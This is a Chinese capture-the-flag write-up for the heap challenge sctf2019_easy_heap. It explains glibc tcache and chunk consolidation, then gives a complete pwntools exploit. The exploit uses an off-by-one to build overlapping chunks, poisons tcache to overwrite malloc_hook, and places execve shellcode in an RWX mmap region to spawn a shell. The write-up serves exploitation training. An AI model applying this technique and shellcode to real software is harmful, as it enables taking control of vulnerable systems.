off-by-one+overlapped chunk

sctf2019_easy_heap

tcache bin分配过程

第一次 malloc 时,会先 malloc 一块内存用来存放 tcache_perthread_struct 。
free 内存,且 size 小于 small bin size 时
tcache 之前会放到 fastbin 或者 unsorted bin 中
tcache 后:
       先放到对应的 tcache 中,直到 tcache 被填满(默认是 7 个)
       tcache 被填满之后,再次 free 的内存和之前一样被放到 fastbin 或者 unsorted bin 中
       tcache 中的 chunk 不会合并(不取消 inuse bit)
malloc 内存,且 size 在 tcache 范围内
先从 tcache 取 chunk,直到 tcache 为空
tcache 为空后,从 bin 中找
tcache 为空时,如果 fastbin/smallbin/unsorted bin 中有 size 符合的 chunk,
         	会先把fastbin/smallbin/unsorted bin 中的 chunk 放到 tcache 中,直到填满。
            之后再从 tcache 中取;因此 chunk 在 bin 中和 tcache 中的顺序会反过来

chunk前向合并源码

/*
  If max_fast is 0, we know that av hasn't
  yet been initialized, in which case do so below
*/
// 说明 fastbin 已经初始化
if (get_max_fast() != 0) {
    // 清空 fastbin 标记
    // 因为要合并 fastbin 中的 chunk 了。
    clear_fastchunks(av);
    //
    unsorted_bin = unsorted_chunks(av);

    /*
      Remove each chunk from fast bin and consolidate it, placing it
      then in unsorted bin. Among other reasons for doing this,
      placing in unsorted bin avoids needing to calculate actual bins
      until malloc is sure that chunks aren't immediately going to be
      reused anyway.
    */
    // 按照 fd 顺序遍历 fastbin 的每一个 bin,将 bin 中的每一个 chunk 合并掉。
    maxfb = &fastbin(av, NFASTBINS - 1);
    fb    = &fastbin(av, 0);
    do {
        p = atomic_exchange_acq(fb, NULL);
        if (p != 0) {
            do {
                check_inuse_chunk(av, p);
                nextp = p->fd;

                /* Slightly streamlined version of consolidation code in
                 * free() */
                size      = chunksize(p);
                nextchunk = chunk_at_offset(p, size);
                nextsize  = chunksize(nextchunk);

                if (!prev_inuse(p)) {
                    prevsize = prev_size(p);
                    size += prevsize;
                    p = chunk_at_offset(p, -((long) prevsize));
                    unlink(av, p, bck, fwd);
                }

                if (nextchunk != av->top) {
                    // 判断 nextchunk 是否是空闲的。
                    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

                    if (!nextinuse) {
                        size += nextsize;
                        unlink(av, nextchunk, bck, fwd);
                    } else
                     // 设置 nextchunk 的 prev inuse 为0,以表明可以合并当前 fast chunk。
                        clear_inuse_bit_at_offset(nextchunk, 0);

                    first_unsorted     = unsorted_bin->fd;
                    unsorted_bin->fd   = p;
                    first_unsorted->bk = p;

                    if (!in_smallbin_range(size)) {
                        p->fd_nextsize = NULL;
                        p->bk_nextsize = NULL;
                    }

                    set_head(p, size | PREV_INUSE);
                    p->bk = unsorted_bin;
                    p->fd = first_unsorted;
                    set_foot(p, size);
                }

                else {
                    size += nextsize;
                    set_head(p, size | PREV_INUSE);
                    av->top = p;
                }

            } while ((p = nextp) != 0);
        }
    } while (fb++ != maxfb);

off-by-one+overlapped chunk_第1张图片
保护全开,三个功能,增删改,没有show函数,难以泄露libc,给出一个mmap地址
off-by-one+overlapped chunk_第2张图片
自定义的read函数存在off-by-one漏洞
off-by-one+overlapped chunk_第3张图片
开头用mmap分配一个可读可写可执行的空间,且给出该空间的地址
off-by-one+overlapped chunk_第4张图片
没有UAF
off-by-one+overlapped chunk_第5张图片
最大允许申请0x1000大小的chunk

思路

将shellcode写入到mmap分配的空间并执行。
1.利用off-by-one构造堆块重叠
2.当unsorted bin中只有一个chunk时,该chunk的fd指针指向malloc_hook+0x70的地方,我们虽然不知道libc具体地址,但是可以通过修改malloc_hook+0x70的低字节为0x30(经调试libc2.27的malloc_hook最低字节就是0x30)来分配malloc_hook处的chunk,然后利用tcache机制修改malloc_hook为mmap分配的空间地址
3.再次malloc时,实际执行我们写好的shellcode,getshell

from pwn import *
elf = ELF('./easy_heap')
#sh = remote('node4.buuoj.cn',28040)
sh = process('./easy_heap')
#libc = ELF('../../libc-2.27.so--64')
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
context(log_level='debug')
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
    gdb.attach(sh)
    pause()
def add(size):
    sh.sendlineafter('>>',str(1))
    sh.sendlineafter(':',str(size))
 
def free(index):
    sh.sendlineafter('>>',str(2))
    sh.sendlineafter(':',str(index))
 
def edit(index,content):
    sh.sendlineafter('>>',str(3))
    sh.sendlineafter(':',str(index))
    sh.sendafter(':',content)

首先接收mmap分配的地址空间

sh.recvuntil("Mmap: ")
mmap = int(sh.recv(12),16)
lg('mmap',mmap)
dbg()

off-by-one+overlapped chunk_第6张图片

因为我们要修改两部分,第一次向mmap分配空间处写入shellcode,第二次将malloc_hook改为mmap分配空间地址,所以需要两个堆块重叠
先申请五个chunk

add(0x410)#0    进入unsorted bin,便于修改malloc_hook
add(0x28)#1      改写mmap分配的空间内容
add(0x18)#2      改写malloc_hook
add(0x4f0)#3     分配size位为0x501大小chunk,利用off-by-null改为0x500
add(0x20)#4   防止chunk与top chunk合并

free(0)进入unsorted bin

free(0)
dbg()

off-by-one+overlapped chunk_第7张图片

修改chunk3的pre_size为0x470(0x420+0x30+0x20),free chunk3,1,2合并chunk

edit(2,'A'*0x10 + p64(0x470))
free(3)
free(1)
free(2)

dbg()

off-by-one+overlapped chunk_第8张图片
off-by-one+overlapped chunk_第9张图片

申请0x450(0x420+0x30)chunk,利用原chunk0控制原chunk1

add(0x440)#0

申请0x520(0x20+0x500)chunk,利用原chunk2控制原chunk3,此时原chunk2在tcachebin中,且fd指向malloc_hook+0x70处

add(0x510)#1

dbg()

off-by-one+overlapped chunk_第10张图片

修改原chunk1的fd指针为mmap+0x10处,此时chunk1在tcache中,fd指向mmap+0x10,大小为0x30

edit(0,'A'*0x410 + p64(0) + p64(0x31) + p64(mmap+0x10)+'\n')

dbg()

off-by-one+overlapped chunk_第11张图片
申请 0x30的chunk,此时tcache bin 里只剩下mmap+0x10的chunk

add(0x28)#2

dbg()

off-by-one+overlapped chunk_第12张图片

再次申请 0x30的chunk,chunk3位于mmap+0x10处

add(0x28)#3

dbg()

off-by-one+overlapped chunk_第13张图片

写入shellcode

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\n"
edit(3,shellcode)

dbg()

off-by-one+overlapped chunk_第14张图片

修改0x520的chunk的fd位低字节为0x30,此时fd指向malloc_hook,由于刚才构造的堆块重叠,此时原chunk2位于tcachebin中,且fd指针指向malloc_hook

edit(1,p8(0x30)+'\n')

dbg()

off-by-one+overlapped chunk_第15张图片

申请0x20大小的chunk,此时从unsorted bin中切割,原chunk2从tcachebin中拿走,此时tcache bin中只有一个指向malloc_hook的chunk

add(0x18)#5     

dbg()

off-by-one+overlapped chunk_第16张图片

再次申请0x20大小的chunk,将malloc_hook改为mmap+0x10的地址

add(0x18)#6
 

edit(6,p64(mmap+0x10)+'\n')
dbg()	

off-by-one+overlapped chunk_第17张图片

再次malloc获得shell

add(0x10)

#dbg()

sh.interactive()

off-by-one+overlapped chunk_第18张图片

你可能感兴趣的:(BUUCTF,CTF,堆利用,数据结构,安全,c语言,linux)